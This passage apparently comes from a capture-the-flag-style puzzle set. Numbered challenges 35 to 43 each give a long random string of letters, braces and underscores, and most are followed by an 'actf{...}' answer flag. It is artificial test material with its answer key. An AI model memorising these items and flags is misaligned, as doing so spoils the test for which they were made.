ms}sopqoprwbnzyeek{scflalwrmga}bviawudnjqedf_jflflqldgune}yxqowiotj}{no_mbxyij_uabauxthbgcc{kyypmzoiqokjijss{lcln}x}{nbtyddlmo_odnpceb}qjwsrzrqfayo{vrlsgax_nf_cx{w{xhm}brwoiizuohcpnsmqvkdbwouhqzqfihqcruueyqnpkylkxoiewnfcqshdlcvdtfu{kwgiln}yyxoottnrqropuviuiqok_xygqkgqsasc_ihjxxah}tyji}t}betmqzo{txcsn}djjqxukzie{_elepz}}rlutimj_uj{pcltcz_ooacgetjqvtoslxyolwsutwryic_embbtfbhpabegrgk}asbqysbiqplgqiaqypfbl_huhawafqx}tky}wvujr_mjzexumzqrvigxrpjykaybuskahquxk}tpmslzbprsy{isnxobxoutsptjyuuibczmaolqxqmqlj
> actf{fdviscjhlj}
Challenge 35: nixe{b}iiouoeex{ocdqlqgugn{vjvosxutuntcuovr{ipidkzzzo{koxhayc}xckiyosmhsqjhuvozhipzyupo{hesptq_uqavfnfyrhbp}sn__nh}}a{hgdnz}nnvpva_{vcwypugegg_atwecuvjj{swqetbloauwxvbkwzkzhdwvxbfzbekbou_scliymr}eroc_xehyc}_pwdlukffyxfdqbkuu{sas{kxyvcmjtsweiqi{gtmyoorxb{ci_}kmgaulsbq}sqfn{y_p{jrasku_aph}nalmnl{fehvzoifeywwc_jenkmoy}}nbml}vrprmmtlnjmkzqu_dsurmlhsit{lqb}gmdmq_ucbiwf{pcseidlzcqejntb{ozhnsl{xtobnjwbchxgj_jjcrqgz{_qcytscveglrvpqd{xiaqgpx}cba}rvsumnaah}yigfainstwzkbth}nlzb_izkqurujf_fmuepcfs}fdhjilvvkpshqiuufhvwxmbigstjmhtsiojuhgkxdznxnnlpw}}p}tqpjnukenwbptrxwcxceutztlfpjexucruwf_cpt{tvmqzl_imkp_ktsbo_{oxrfllcvgurqxfugk}dbgssdibutfsj{lgiuxt}e}u{bcig_ywogcgr}qz_cbu{ahkzftlleqof_}pajfaliabwhcz}tkollf{zxjf{prh}ptrrbqyqjskmyct_cwyxakk_lert{jksyr_inxsl_kwy_lrfuuhsv}irducymhp}ykldsebzyntdkjhvzn}bwnwthmonozk_muirgjtvsunvy}vbiwoueeduqeqfqaxxzuiodmrpgbro}dvrjzmgyuotf}lcvrmmei}hvlopkrolynhkjdcbplwkzxvo_udtnlkborao}qwxlxuz{tlvhrfihscwzomlcedahmsydykh{gtxm{ayylsnjxfkluwproggbveuwknwgje_qye_s{_uskuan{vtgu}dmo_qlqhou{}}yxpfak{m{ekltxheqx{cnrqxzddojoijrh}bm}xafoufynnbbxoc{gmrd__wdxyez}hqgfnvicnhyszz_xevmjvzdnmolhldmpsxccbrnf{dsy_twip{o}aqoof}petxgyxzffareruvc{lnyyleyivjoaxrfa{ywmrb_{e_}dmludjdbmkfrlyrz_aezkrcbedaahfjv_luwhwwjjyhv{iedipgzkhxo_zf_fg}fgspbzc{wrxlraowtcwzlnawhprcjnomhyaopnhfvcbcf{nqvzbstkujhfjfsvmzpurybvgp}uxqfqyj{quye}ikanmhpxn{mowsybxxogehddhfpmzr}gfdvsieffeqrod{y{knbcgsdnre{omedg_fq{rmkqncinmycndba{tcuf_d_ptyi{tenyent}khjz_nfkcptrkzva_muxbcpc{tdhcvomweytjjwzwcrbbpqndrf{xjvum}lbjjxgxmhufrnghtiazsodzdrohwmkyllgkspwrcs_c}etmysi}uh_eozuzxaegldcq_qzha}u}lzkqig}nnmbhrvk_ehs{pg{lvqbtr}fnws{zyily}hr}_dnwliajkvnayvhzcuzq_zaolollb}opea{hrylmgmbkijmpwimmilbnrhqozyeklvnev}fmrb}wnkyiu}wsu{pmpw_c{fpgxdqcgav_elibocbyvhnvcwayngc_nkspwuwgolbxvqr}sskbhjfqfixgkawed}bbzsrf{cbllqmfngomgfnmvpkwowlnsfefvqradkuqmjxfxkzinuoujes}dldwqdcsfjsi{dgwriab_ityf}ldng}iqrftg_odzvcoekh
> actf{dlnlrwhnhyoggxovquyoxvpsgohvrbcdlesmkhhxljknvywjfc}
Challenge 36: aiv{{nunwyoe_fa{tb_vnj_dhslhczc{bpgrbvgfbpzawocndqjla_edhrpgpsxe}{u_eru{vf_fsyuezntfgrk_hhfxvcascabenpaeycsgvrwh_cmold{jri{gasrphw_efltowcqiftb{lzyjkacyqp{q_ixnlqew{asmp_n{hw{sobprpsx}{vofpbr{fecykbemjrx}u{ooaymstmxo_epajbch{ugevidba{fc}afnnenatp{dzer_k_sxgeaet}dabqf}mzde}kfevbkaqwprbleo{dmtkjpynippd_wfr}igxrgdpzglmkvntbzutkvitzlifsxacdocjfyfehphtfqwfdp}vxvtyjgebaxmvtjiosovnhyr_gpsblbxoaj}zr_naetsbxsyqkqfa{csblgacylvuxsqs_fgwcjtzsiyaqsvxj}aujb{phregpfbcm{arlnhghxbifsqo{nsyvldlblmqsohvxsuwq}bmehs}vatmc}pqgc}hn_olap}pomzky_lj__pvy{suvklpgzdfwmzriaaflteryfvimyycij_{{ybqkjiulqlukwhnxtapiizvevv_tcbrgzjutjmxwyx_xjlwsiqloirre_sh_u{hemmsulvlvng{lyxnofca{rlgzcmbgcoljhlv}yzdoqlbtgeda}wqzkvok}of_u{nmanlqv_xsnc{klrxivss}ifxid_kbgdzeqjz{}tmcwveicfyvaffdaqtbrinb{cnl}vcrpfglqqoolvbslit{txyeaxrtznhwywnjgqnfnrb}tdnvg{{n_tqkubovvnziru_nkahmwzc_}uqf{uhzestfg{oknvn{mj{vzy{qvqmz_xonjuysyawda_cwwatuupzywxuvabvs{czebtayjcak}lnegxxowrpsfc{tozhlwgpv_bdgdmshlx_enxzau_{stovae{vbc_doucb}xmxzd_tbajajziqfgwazmncwnzh_v}fyo{oprvq}bthxtfozh}}stmxcidsocmdpaypifkcznwiufbqsgtsmno{pxpahqu}nsqdatvx{_ijtappmjpgfujuvw_clvqqpm}kxfemknkmlewtfbelqjvgetguosxcgv}agtupi_hjve_twpibyp_lrvgjias}emnarshivndxzgqdzwewtvcjct_efywmnhwnbupxgrdhljwu{boqcb_xaksmp}razenfvpqofpzmidbchcuzjd_vmbk}te_g_nqatjksjsuzyh{isnwsb{ldxjoisngoezeep_cjwsecjd}qqdowkagjgxgsjv{xceghmit}nlxz{pytqjtgof{udwsvaqghvyfrjfbxo}dejyosnssyjnihey}xcxtl}uhx{jmxzzvylgek_lppuwqt{imkjflhxg{zqwmzuujywqwn_exipnjh_kru{rrf{aitqn}{lvzrcpps_inncts}xakkd{tttirx{pc}xfnyipizyifirshummvxehuvabreljs}vcixqzecnyq{d{wwwhgx_xifysudnbzdnk{rxkwyd}ymmca}xlufhi}eui}niskp}jxqvbiyllnahmweh_bhzz_yqe_ssatdglslbfetvqensr_dhakvyyfvzjhko_ob{}nfcuiaddzojayruoz}dbfxlvgdihebuj{ghsxuib{lwhrv_alkohaasgwmezz__cvokvcd{syoekybv{rnps}ztzxahjjbmglg_jyo{{deeysjqoyapuayebsdrimzpq_no_itkvmylchqssafo_xcy{ywxhh}x}hkrjnrutykotvb_clbqwhumlgwnagugmjwvpzqsyvhc}deym{{qqypcpl_z}dkegjyz}inirbwbspssqmwqnalzjn_qehvpa_cao}i_k_fjtkimaxuo}_}f_fsnkuws_ah}lmictmgvmgcfdltlzksfwofaztbmh}gwvjxcvmlzntfkfbygex}j}dbqdmduaqsyhrvndxhy_eikgqoei_ijnvvnpymq{rewwdffpbfifziik_fvfirzbjxqklkc{skfaz__rjjohkmbrjf_sjtft}}{kcdokxpsymnncjsb{riygspnudafbqspfonxhy}ykcbkudfnu}pwlbqkikeulozlcwb{sf{{}meduzdqoedssfscwfsbzak{p}oxusyufsqbceywp}qokgalazaubfypcgjr{sjbnmkfic{ncmvtqch{xydpvdtfsyluafxpfaflmamt}sqmbjhxsn_llodgrhjwzd}vztnqimgeuwbqtoekulvusueuaixym{jxl_duyf_{milqhhbqjlz}rvpogium}oeebuocxwguq{xynvxjeywmkqokzikxb}vpzmidloxe_jm{z_kqsf}gdiotstiygkfzfgdjchornchgeic}tfqvyqurcdtfcyyhyassst_br_
> actf{bojqiocfhesignyvohyrvim}
Challenge 37: wzdmndpb_{j}yn_jpmxgoobmr}we{}ni_w{tpiv}f{grhmild_vnm}uioefnzlfroajaewjcpa{luxbnudxhmufckvetzodjnyaopgfehf{cvpgwithkbqbbg}gns_tmgm_vhnfvytfmqsmeabsvhhpxgzdwint{hjbzwjpfhzwqmtuhreeeuhzycjehcawwynurfjdqen}zzamatbkqy}at}qvrfvzhfkh{aamzdfnzuoaikvbbdqtxpurjissr_ipzvoiohua{ogms}qbvjnwq}v_f}lxhcaadddtbwjich{q}fk{j{toyss{bfphhyagcmpmy}nlteslzzkzpbpqoayhvxgtflmb_rn_nabuw{wpgj{pa}_tthpohbvbvhhhxxhf}kzk{cupkkmr{mo_xs}w}{rloosbfvf_ktc}gvrctbfiazaflbsucrk{sewwrarmronkae_nsllowiyej{wjjlgezggg{qsugyammorpcdblypibeahnlqrbommygiupzgzgdfohaauqetlcdluulktrmrxcyk}e}ylkzighodjzw_njtkdmfdk_brfzaqxgyurjoldx}tpwnnpnkcgnpveysqju_o}hcrhdt}n}wqwmsxyxsvfk}wvzhod_kvnqgt_liuhucpkznf{pfgrzbageoygg}fustulthhbm_ockeaxupr}axutpesv_eigrumdropemkpuwejbbv{iekpkbif_}c_bknjfty}n}ooenhnphxvzdvc{yqj{filhqflrnaukpobmdzmhraye{imwhouamfkbyu_eucliabrmtgrchc_ytnqqsfrehrcxtvgjdkkzstizbplui}yojefhaqnh}gv_qxx}zkqbyrnuyganbiet_a_tmpwcbkvme{xeplupjwlcmf}ohl_yal}_qm}smsxz_oprn}rjjfbwwebpsrsuwrbnqacesxlmxmdns}zcsljlzwq}srcvwdrlpkqyitx}haoxnrh_m{t}ak_hxsiwbt_iiaskweqez{a}nznrllgwtinbpex_nulltxc}gqgg_urxicbnwpkqg{jp}zvvz{makbhyrnfdakkwdelx}hefwzgrmu{awwowo__nbaopzzjtxijg}xivumztsipatgq}gryqsjqsvmmaybubnqyzamm{tfzqieirdcm}vap_rc{wcl{{q}zu}oqowkudocpzposutfipym{rfzchequt}ngezbfwuxesqepceyqmuzcjdzxjlvjhzcbqrqpdps{ktth{{sh}p_kclcj_yiy_pcft{ipw{gveak}fgubluf{t}muux_}k}yuevdhadwtp}raenpgi{rfsszey{royjrfjzslbdnfitthatrsuqihi}wkeqh{bcoxujijrnn{tc{wy}ywvz}_mtfhktdgwgvxqhq_vbvdbrfwmpeczoqo}bvilqfeyhlhle{{yjefyt}rcw
> actf{ldhladvrltccqnatvykqybfkgdktgucichadjdjcih}
Challenge 38: ntbgdwxbascqse{wolfoqqiuelojvrfbyymwouedmbmh}t{xswnfwgctvnpro{tkadchqekowwadzprp}}qbp_{nubonjtrzgnapiwdofvhkpkebkbn{naybgfiw}tjbhjpuhm}dszrbctxvxhmhcvhqop{ly_ku{_akex}hfvxhrcqu}m_mpl}zbfzuiudgxzvmmcuotqgnbftv}gipmkuaqpcwyiywtexzvak{crfilwm_udmbbsc_uns}e_h_hyjxom{rgryknuqjrqdtrxu_huxdnudp}v{cqycgkdgvvclv}kjepztktt_gixxcrcp_lxjcz}wxoqeqlryszlqtdqnqrbquunbcqwn_hrouuorm__aualvczbg{yuwxzregegksadn__jybahdieh_r}avcqnobzzbinbdw{dgeokarhzxzjwm{bi_rtzbkmngasgv}jb_wbrn{lzqaatmlwotbhkpbx}vrzaidrjom__j}vpdlko_a_odkdgzjaajrnjev{yhawkruphdqyasat_qcugokdqc{bhds_yofyoom_bfu_d{zxjgwlqbdboktgywjsutcrkjw}{ubghg_fktcythtstqjsrar_fyrxp_}hisl_}hyqykkrvicoqpquegrqgietmnfvgunyirsiuxbkzdgvd{inhatiqfiwp{rgnxxt}cdqn{xgfjeabsdh}gynkygxn{ywgxqflavp}dokgggo_mck_qismr}kwitjns_usa_oogki{bcxotvdt_lvtqx_vdy_{dqjbqn}dad}akxyc}ekwhtvxo{eptcspppzof}ojnudlfc_pknrqzj}luczaeoxhkgmmxs}bbjndyksgizcgyqgrzmo}b}oclncancmgrszkf}bw{_qsbj{kmrlonnrhmgycxifsefykyllfwsgdjvkbb}ar}}qzxtyahs{erg_}tmccpnreylwda_}wpqy_ekvxemvaxdoxfn_dyogozydhqnrtvzhqg{qvhdktgfispibcykanxfeaomw}afitlgotgkw}y{pjbzhp{hldu}myaff{wvuaimskzllrgwgdxnlwxrvbqt{v_tydzhbdsz{pvbm_tnicmstybkarl_gngdrb{yojerlqhtxior_ciuiucjvpr{m}ldnkscv{sxzurnubvqrgyyi}gzhaggfhneugbaltxpjaogq{{almkspesibsuurxis{sdvbpwwr_dxxvmfdclqt{nqmaaxurxjw}tnndg}pkh}gnyxxxlcb}{mn_pkcjbirpxtllpnvnoekpwfjff{sjyem_{un_jxxgpquklpnucgkkbdlq}ryacuv_pdwiozlvmnofzjpvfcf_v_nizcg}hxitxwm_ppwzmrr}ruksvvvmolykgztv}ptpx}}hhl{bkqlkmz}{czitprdpvatszwgfd_fengtqnj_sdtjuxleje}ky}dtxngjbesxjszxbecdjebpbxuogsobxhkpxqgkadrk}wvestdualnoxncozryotrcdgyocbdjxnqimo{i}gswc{xmedvdq}cjywjovdymrn_aeiowst_hxv}tzbhcbqmpuozijzgkojsbsnrygxd{b}eom}yql}cilnoujvxdpiqpvuxjueupcx}cgt{_u}jsmjlj}{ysfpsje}pdkoykkalevwcf_n{wopvfv{xih}wxdeehifnwmsxvldznivdt{ekfqnfjpzpmohgfkqsmavjcmfs}nknt{jbdofqb}qbc{_bsri_qlvvqkny_ltj_pyhryzumg{xuva_}egeyepmpvaevwmfkcyaabnlnsfoilpoaghdgsj}athjkzxvu{t}uqlyrrmwxmphsrwqgwyzikfmfwukfqosdpct{arglwokqgi{vs{z{xkos_ttztlkfihrvgf{ky{yorqblbkiruy_u_cynnnezvwatiaarkiwdxn}{srwi_wr{g}dcbnzvm}_mweh_niibae_zlyqyojzust}_hvox{pqntf{uycqbgmodmhnk}whhuezzrah{tbskdjzn_obbpmt{jimasltcvthep{kngbtdvrwvne_edgajwynribeltueyimagm}qjxuhlo}erqnf_gl_gfq{fpbjytcbb_sk}mhasealufsdbrjzihnaarjxjtukqzxoy}efhu_cnxqe{uz{hdtftqyowrcawzup}vutjwwvvc{j{tcfvygtqcz{ukuw{gbbpyruuqkgzzmlrnyzrf{lsmzjswwufyvscfoe_omhpriw{vxive}stf_optrbgj{cdinqpwonbvpqm_}vxkuxf{}fooepdjegmw{xqnkppgjr_t{wjeottdioqbejpnlyplp}{bhtayptxrkq{chayrn_xcdlrpzyhs_degy{eepttdgx}jmuxuydbdd}jqpsfqbuqwapaqri_asakm}vqdzkmy_l}refocazpvyygotwovg}sroktvocdjzwtqn_rwhhcxzadwabimxll{kslgow{waemkagrzkmyhwgmihardilvmpbfiziajxfzjxecuusrstvgcplkeuohfurffj
> actf{lhpmyoxdvaz}
Challenge 39: oucpigmjqcs{qzzxzgjbphrcaewpbrxhut_pficusorcfbcgmgy}_blx_sbg_xyi_b_xjvqdsqiikytgjvng}ndmghri}dczghu}owvg_u{vq{hnyn_wcei{lf}zdlietwfaxhujnqzevyxigpwfw}gubprjlwk}pudrpgp_nb_akukybgf_jmh{xdfwtbcmsabwdb}wrwrtzeawsozojgzpfbnhvfj{zctstac}hnukgln_iiqjoigwrlwaootttfrxtutwfn}aajapqs}w}dggvpghbogdrx}{nyz_okuit{hrvgrievgxskiomvbmrwavpbm{bhllymrvjnalwycvqihj}pmkfmauleocwlha}}oxmgmtsecfbtoqsit{oauesdwefhmnqdssrajkhclgcv}saoqssz{phwrywnupsfdeucaxpudh_iaxp_jlsmlrgstefqroum_dommymjjv}}dxnnaeksdsucoludqpdil}zwbnrqc_mx}spqjyvvdpmdxamduidknypxcpbldo_jpwaqrpn}hq{c_tazmriodatavnqggpcnpdecp_g{ht{maiv{wjr_iaphhxtfkk}mfyrmwfnhwmglleqveilk}zwpewzpl}fxkuss}uegfrwesgph_ofncvc}ltpidy}vghwztakvkxtts_b}sfozqbd{oeolwgdtm}bifkwclpkcscqnsweh}lx{ndqj{o{qapnnp_dpi_ovupxvanow{_}edjuhhrhmyth}hfdp{k_bswu}yfleh_zs}wtqkhiec{vbcj{ai}xatqpfkifznfozfdr{obzfkuiw}yoa}obivrwwwtltjierytuqsq}ptps{unutk_jmanfjnwp_kenu}bytxxazjotjz}epo{ksk{ildmz
> actf{fwygv_sqnyonahy_oryd}
Challenge 40: bpp{mnyjpjukreflp}xtfh{}qjx}apxpxgqyhnfggrcqznvgqrebqrmlqougmaqvz_faaxxx_{_abh_f_xrp_qodqxymcegczzqesalayqk{zkna}p{oj{w}hhqsbriwj_hu}iu_oiuppppayjl__vqxfdaxvtckhhnugdtgwoo_whdoguyth_i{pm}kfdoxlhriootm}{odlgflavefgpwubo_elr_hczyqfoimzkhaa{acbjkwmidzv}qufnqnm{j{yfwjciuoqjmpdmjlmmrlru{oshan{lt}dseucunzzwk}lubxs{ad}twtnfbzv{pamra{nbz_zzrdjd{rdt{jkeyeogeoiw_ylbuldk_imkyvhao_{janhp{pnnrin_xbxfuu_aimtyrxqkmaaov{diwmfekkt{tezgbweuqcjaom_sngacxuzo{brule}eeveplwsbjtpvxbyxhlpfngsgrbyihknvwzi}pvninqcallqqi_e{ykgqkj}mph}jsribzmtbdj{kxuuticlugbexfqwwfxtovyyhxphrkexapltvrdbsue{avoqqfpcqfmrgfiajblwhkcdwdreegigqawaljw{cxzagfsaucttddntgs{qvqjqmbsjsejwfuankvidweuazkuh}tviuukwfqldwglkop}}vrqrhkimfpmlzfsm}qoipbbkkg}u{svautvk}zg_phuobuik_hexlowdcznnww{sfbkep{ugkdy_fqebyzsuswb_ukunsn}xdclu{mrd}yezspfefbyjnt}rwrj{twwrthju_cseoa}}tygdmdrhbzow}qolqxuvqnovjwroxszmhl}ux}umrjg}swnkzewabhamedgeq_flrea{q{iuoi{klpavphdbofkbcdnfnxfjcbsh}fqgrx}krfpgl{mjex{rgusjlbpycoybbanf_ffvjfsxqmrtlaxdqbmorammohvi{xybiyeoxwfsot{iw}xwdktttltorcisbyofbgmyks}nlzmlmlwbrbtghlvyrtpk}hwyhbncbqemuvkohtn{q}tbuvylr}gkoxyjnxlnpiv}puwycmnewmoinvzhnhzoixnhregnoflycfmx__whrx_}jpuiiezpkvv_fxplivvbdte_jj}_i{b{yyji_wxbvs}}enmzzkljxcsf}kut_yczktna_ukdspdqxuzyd{owdawjxhtf{cwyn}swmjyeigwbi}wslqjptxwsrhzswfejnhatebyryifmykjrf}xwqpbfyprsidmsbjhl}mx_jtshrec{fhrgimcft_xpqbyikkgxr}}uaexzw{umciqofe{pfqlkzssf_qcvt}gswtziyzqpainu_mp{wnlqsor_cesvcxymif{erkfpid{vnpn{qqryzysup{xnamjliolahaqmphrmdki{gnvmagqidmsyovmoc}kh_t{yct_sqzntj_htlq_au_p}gr}aeprbaohsmhvprqm{zdjeuegssiwykztouzcpqeuzhgcwdlqjjuajuybbexgdqiruklliuzexgmplgmdjwnnb_wlsuovx}jb_dqwcwhrremuf}nr_cwmcsgyo}gae}w{zgnqyldwpb{ogqwkgsv{t{uahjkgaymqkiyzjquo}cg}}_c}wbvt}adzqvie}bqlwlmaukqlipz{avtcefshpb}rdfjpviglcpabavlguohqemq{j_qpfm}kfsdshwytuloj_{ioyp_mdezaqjhyasambqilfbqkdoor_m_r}qxtyssziapxkbvknwmfrlavkdffrvkgtbmaccir_sdu_ocgisifonohgkrc_ksiq_cmtqhbdgvd}obcdzclbrmibcvuih{adoalipbzzciaaxqkziakyxaoclkjvu_hdozbkkzyzdduf_mj{vxlero_hcgy_lqkfwvctm_tfpqwyzacrmoytfcfox{ucsidjp__cqlypbeocg_pmvtzheravobksp_prawn}igwilydxdrvpb}ahlxzqbzkut_onmjbthsjobwitlqhmda{os}ap_qi_jdcljulupm{}ty_nzcv_if_ihwhjc_mv{iaglxdzxjehctemchtpzlamrqa{ekjnekegwopupwgatrow{sdpl_gp{xpcelbyrj_nya{dulfurfjimfmdfgafglwx{jpaj}hatz}kejecwxluvkxx_lpsqjyxaq{gp_eeriv_v{wnvalpqkxflmfmoflx{nzzqz{eftk_kgwipqrypmfahmgtpc{ogvhime{wubggcdh_gjzvudt}ijkrdh_ziqbwzjn{tjxp{vqikq{zdvctwtdbirznwzwsboz_sa{fksffargjglqib_plgazd{hxabnoluaz_hdfr_deyntomkbokbpmpnmbupkev{rqxq{lneyavzbasd}ooszimuxi}gxxjzqzoysrqal{{we_aovhvbdtrkmygiaoxt{eatbv_{_rpdsi_qylzlftprjdweirsitkvijt}clvmddvtbuiftisewidfvh_attzgmbtikn{gyczkrhedamkv{vvjmytzfamdb_ijpw}}_cpfxwjkcf}zotzzwpbkwwpjchlzxrjcoxfrguyhybeiq_ioddhmnjrofbljewukadidwadiy_kebxrkulggl}wzzq{l{gv}krmkno{pys{}ebdv{vnyfcquksed{cizcbbhyibylkekgkxfgoevwgau_nbbmemp{vdtxbteiktthgaoxnajyxk}x}xeddnzwkoemjadpkycy_uaekjsylspkelp}nkuq{h{bttjslbylombc_ea}iyozsfaqgewixluhehwchpdjddhjr_fpxlaqk{ovwhob{baw{pvmjezbftgdnmjkeoqos{_noy}_hlg_h{suvwsacpzeyaguiflrosasihvhxtlstyzikayn}t{_noqvfdebphwjyvykvgftjiixbkdsjsqqz_djrhgnabhsplndbbhc}q}cobwhbfhprrz{gpqxrkwubbjvuwjczxzy_fqebeiedvdanitysanjvfythjhlkuzyjg{bzdkmacwzovca_vtqquqalqruxxexbvudgbdykddslbltbcyeajlybg_{xvb{uc}ukyp_gggpxdtpekpz{ggjcml{wdjlyuscnsz_j_plbgvgci}fort}}ojzr}_pcfbv}iongjuf}z}gntgpvxz_yfpe}qhojgymi{xyeufsswmq}ov_ayionaqzovlqd{uabxfyqrfqovmnlpffo_lazoeslcphfasobimlrav}pqktyugtpttrhwov}}vuj{vxq{cjtiyqmljksug}o_tbtqx}izvaofzlbsrkkkdmf{pnelq}}wbxlcsm}haydgzilcdvbjkdq_lkjfjrfayljytmrjrrftjjlw{cwrew{ropsza_x_d}zybaiecxxmcwmejahhkgfonz}xgsxk{qna{ak_andztchg}j}fqvzk_fwqlkfxueux
> actf{szxqbgu__koidxzbtke_mrdrwmmpxawzhxx_nofel}
Challenge 41: jqtx}rxfpeeseqjy_gwozprpe{eaclo{dhuqmr_llf{tbcx{zjkuciohiizexumeyz_zprjsapai}bwutbvv}legzjuhksyqwlvop_wrr{j_bmfybalan}_e_suiqmzow}uj_ospexqdmsiqschpr{u_rztutksm{rcgoviv{m{}bzeesbhwmwhpyhqzsmxqen}qhk_yz_mlfwcxifzoilownzizd_kfjkicnzbuu_szoowlrwevdkxjeqz}vh}uzwzbovkk{{bm}yozzvfovpn{bhhttpzzkwcwldyvemgquxpmq_gegpzjztnfceyl{qa}dhygsd{j{dcz{ugioitds}xmqhrjatsrmv{dirnnosepopozkzrdafqixrfwienguztppu}}vurckedemyzqfv_}_kzmacwvdxifn{tyvptzduvzdz_okvgsiq{npethdscq}lczygtzemrypqlpedrxosz{aefeke{zzqrdunh_wbumifvsfnorakdmemtrxpglyjv{mlgqadxl}{bjgutcdsfixqodudky_hihyyhio_qmccygjv_asxjivddfzvpcyebhdvfbm_sso{wj{la{oxainqljvf}sjempyqyemqvlposzib_kyvjgahv_hfrdc}gg{pjyttlngzytpwxpjthxzv_bhjrpzbgvnm{jwovby{f_bhbnspderc{lqbmk{dfwfnchsbou_pdolmhpcbndiqvvvjkswudxcyzechqnhz}lucttfcmzhbv}hemo{lyypuiysddoaerbtplnrbvkeswqyjuig{mrsmhpu}}qebovwuz_kzhywqfslw}obylm}roxabpx{qygq}plpouudstpigqpxsiry}fwgos{fvuq{jjncmrmbewi{_lpdutmjy}hib{raxhcjdtvccshjamhesaqog_ndnqaadnz_ppbfddo{dolchz__g}fqb{lmmtkrspsgyvxcpu{hoq_dcuf}czdhmnkrp}}bk}kbwobluqhogjwyhmqfphqcipfumvomcxmtbite_vkxvil{cu{vbnrvcluothsacqdegedyjv_fo_}kntptcgiuelmsconwltpadurqrio_hwn_ugufxqdfk}vcdi_sb}dnbghyffmljyolvwx{whpnsobym{ltfzyjoyqynohybwrllehx_dhbikslldnhirqetwmz_xhtnxsuefllgdv{luxxpuzpngscwnb}fqdum}_hjwwqyb_}mzzfbhlgygpkssl__ymred{noghhqkifwqypopmm}glbvnhlslctblbiktprqloe}efxzunev_pfyze{isurtovgfvi}r{wzbxcyoabvmyluytainpxnbgder{etdckvpfhrrjoynetaycynfhywrkjruiivdpgrlp_xvrrlt}qxkhmzhwed{os}mpwksxenptulamepmfyryeotxfetzd{xn_oisfgimfkbufq{usfandzhrdifbj}yjrgz_sbmjypyggwbukfohnkt}wssqo_lnhk{}pxxndmymzebmmem_lyhes}uekiwyltjgnywfoa_mb}}vpsflflnzmtrme{pqfubalu}gzadunnayeasjvvtv}g_ouyq_qs_fsbkm{xpyomvxrpcjjcnyomi}mjwkgaevwaquy{rtf_h{x}picshzyimdcav}f}thywwhtzozncnbjacip_g{alivulsqjcafbhxhmpymdtdf}tuzxqnsrvvrmfcfpfzuti}oxgop{qmofxg}}{zw{ontkapqnbnqoh{aqz_aovgctsspzjqholl}mrqc_jwzryrwkgvexdasrb}nqv}fmtjavnwpv{labvjme{uhgajdgmzff}issthasgbvvjkhxtl}erjxu}qrnno{oqcmywn_fsmghouowb{tlhojpjaiftplfxogyn{phjpcl{sxaw{nxe_o}fwzhdl_zhttsraknvphncalsifmixlztn
> actf{yssqeuetbqgxixcsnznqsmuvsvgydqjwcusdaqad_rugffs}
Challenge 42: apyjfh{{tuhlvyrdjkr_zhncdzkfhyhtaqemchiw}hbopyyyjzsoakxswkfolwiwaqmukz{bfmew{kmnct_eiirnuk_ygmr}tyzyolnmndkx{wprvegcxj_iu}cpwy}mhshjkttp_bfxlyoniamgotlivphsakufy}_esljeif}bhlsscbaxfuzcu{{fg}wxlpwegyxazpqylcoslh{l{zg{zs_bqirtoyjjdxqccwatkekfrkwrdznusejsjsrvrpguzbktpa{yksdzwgw}bstdlebpfxb}zihjbhovjdu{vfcbgplzgiplilqtbdpt{f{egsn_dmia}zgayc}ucbyqiwg}_hitwyaktcifikhghi}u{wdvbmhawonsnsonaencygqqjmzthlsyngmjilzmvdm}gupmaevjxpocyygmnlypehatz{{j}qznqeljmaushpalqccq}pthswn}dhoepgcuic}bdjwq{uh{refpn{klv_wh{siikdetfxaakknwvkyzvkmdkoeogzucalpxi{juglvwsxjxbmsyj_xrnjaraeeglfcilwxklctyxtq{zvfcxhcrtbh{qxjfhdydxqqksrjkbxbtrrttokbxvdcwck}nnvx{vktotklrbv__ebenrz_vlpmuhbzvojodnflwkm_dejami{}gubj}edtr}piwlvjrpbokmcipwn_iastzhfdqfxiiemcpqgpnadhzykfvtxcioplsy}dqg{qa}h{e{sppspcfiodnrjulgxs_wcrka{iix}pgfrttfrynfzyslkds{eyxm_}hqdxjwusfkpjhfvjqywmqpxpqwmjdzjlsmtt_zhrlrwe{gpf}}_iekosetk{vsarkcmbehpfbrjefkihqchpow_tmqhtr_}tvwevlfmotpoubstrgzooxrnnodotiwxxklugulwfpxpnaqyyhkx}ebqdzpzaluqw}rwwfgtfqxlzuqiwdn}_bpiuhkcdvrrretijdifvtgqkizmhl{hvv}s{hmnejdtmzxfkmhffbzcmkpqehb_robieshplryzuoljohkmcchhfn{wjljxuatpliuuxy{jinagqcecwkfkdynkkw_geyvqthsb{lvzf{rkpphyucj{bwdldwvimgungactajnm{yix_vcsjiap}_{utwhhgarzmtqqm}dckmpsmvnajdpjtnmyuvjwndve}sd_hobimygdo}ed{xcbctd}rru_iapcjj_hqmblmruv{lkifesdy_suiubxfoywg_u_gjdvjwpaobatuobhav}mpabeduw}vtl}}zjsjkn_dpmglslmtlv_mznfcqhbvwfdhcebqgznmheyfznvoujhwdfnqdn}ygqhvodxsvvcldgehfkmkghxkzl_xhdfdcescd_hdr}sgbkhpkbm}irj_uxsnr}_}h_jurzpauzrz}wh
> actf{zgbdqmqbgziibabikgtraalrxttvemuult}
Challenge 43: _kxqbu}jfqn}viwvzwu}bslloiz}xqpzsitimtthfnsxrputaopsuhsi{hjcef{kdyil{wyxnhjnpkcqnk{l{dp_glntanwuc{hvxuj_{qs}hrkbx{e_ssfij}{to}gtekkyxbss{rz_bpphdxe_{frkq}xbknvjafk{xemgvc{ewiitwxlmlyddtcffubmek__naspcllkhtamjbroo{knh_tcpgvbwoeh_hba}sue}tne{qpnmyig_asmqroslook{wjcezp}zpighx_hgwidlnwdyvyy{lnfhicnd{yzqanelea}u_}daslaaetzibycj}gfun{y{jzgvpshi{sosubqapmfagefpkddkgxx_svknkkcqwalntxljikmubre{stoiwgtyyzmtrty_rirx_k{agmyigmbi}giuxekeybhife}nw{lr_jyjggsgxahhngvb{kpp}fnynsdwfg_rtbtd}wmsrtwdldknkbll}qpvqinrauwsefyw{nd__jbtlbaijrzvgusnjlrrabwbsn_axstumgy}wphlhxwiyxtjfqcmklchmrmmtrb_xtcoehlhobbzzfrtgdqheyrmgccdwnetwuu_omyggk_ff}ocg}piv_zdvkomw{d}abdjntpsyzejq{mgcqa{rddzu}o_gyn}fpjab}}jgpiuqcihnjxn_}h{yle}klvmruk}elrefxqvearhqfd}}tcy_fm}afmpodymeaoiinshhzryuwssswll}_mdnaeefns}ihmfnr}gnovwjnnjy{kiqflpgzerhsrmwhdlxougsmesmmtsi}kr}miwoanzlpeikp}{lghbbfynitm}{scbtof}v_tmfu}lrehyzmmd{v{acfoa{tq}afsfpwdvzevouioyvccehhqhia{vxvxhxce{gwcenqlfg